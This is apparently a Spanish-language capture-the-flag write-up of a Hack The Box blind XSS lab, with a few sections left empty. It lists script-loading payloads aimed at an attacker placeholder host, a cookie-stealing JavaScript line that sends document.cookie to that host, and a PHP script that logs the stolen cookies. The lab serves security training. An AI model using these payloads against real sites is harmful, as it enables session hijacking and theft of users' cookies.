Skills Assessment – Cross-Site Scripting (XSS)

🎯 Objetivo del laboratorio

Durante una auditoría de seguridad web, debemos:

  1. 🔎 Identificar un campo vulnerable a XSS

  2. 🧨 Ejecutar JavaScript en el navegador de la víctima

  3. 🍪 Robar la cookie de sesión

  4. 🏁 Obtener el flag desde la cookie robada


🌐 Acceso a la aplicación

Accedemos a la aplicación objetivo:

http://<IP>:PUERTO/assessment/

Página principal:

Welcome to Security Blog
Blog de seguridad con posts y un sistema de feedback/comentarios.

📌 Pista importante:
Si hay comentarios, formularios o feedback → probable XSS


📝 Análisis inicial del formulario

Mensaje mostrado en la web:



We are pleased to announce our new Security Blog, in which we will be posting posts and stories from various security fields.

Please feel free to leave your ideas and feedback.

(Note: comments must be approved by an admin, so submitting them may take a few seconds.)

📌 Esto nos indica directamente:

Blind XSS

Los comentarios no se muestran al usuario,
sino que los revisa un administrador


🧠 Identificación de campos

El formulario contiene cuatro campos:

Descartamos:

Nos centramos en:


👁️ Prueba de funcionamiento del formulario

Al enviar un comentario normal:

🛠️ Preparar servidor atacante

Crear servidor

mkdir /tmp/tmpserver
cd /tmp/tmpserver

Levantar servidor PHP

sudo php -S 0.0.0.0:80

🧪 Payloads de detección Blind XSS

Probamos distintos payloads genéricos para carga remota de scripts:

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement('script');a.src='http://OUR_IP';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

🎯 Identificación del campo vulnerable

Para saber qué campo ejecuta el XSS, cambiamos la ruta del script:

<script src=http://OUR_IP/comment></script>
<script src=http://OUR_IP/name></script>
<script src=http://OUR_IP/website></script>

📌 Observando el servidor PHP:

{FC04B2BC-6BFE-4F55-9188-7110E7BC7011}.png

Campo vulnerable identificado: Website


🧠 Source & Sink


🍪 Session Hijacking (robo de cookies)

Ahora que sabemos que el JavaScript se ejecuta, pasamos a explotación real.


📄 Crear payload de robo de cookies

Creamos el archivo script.js:

new Image().src='http://<OUR_IP>/index.php?c='+document.cookie;

📄 Crear capturador de cookies (index.php)

<?php
if (isset($_GET['c'])) {
    $file = fopen("cookies.txt", "a+");
    fputs($file, $_GET['c'] . "\n");
    fclose($file);
}
?>

🧨 Payload XSS final

En el campo Website:

<script src=http://<OUR IP>/script.js></script>

📥 Ejecución del ataque

Cuando el admin revisa el comentario:


🏁 Obtención del flag

Revisamos el archivo:

cat cookies.txt

Salida:

flag=HTB{XXXXXXXXXXXX}

🎉 FLAG OBTENIDO
{20849639-1CB5-4D43-84CA-5114549CB74D}.png

🧠 Resumen mental rápido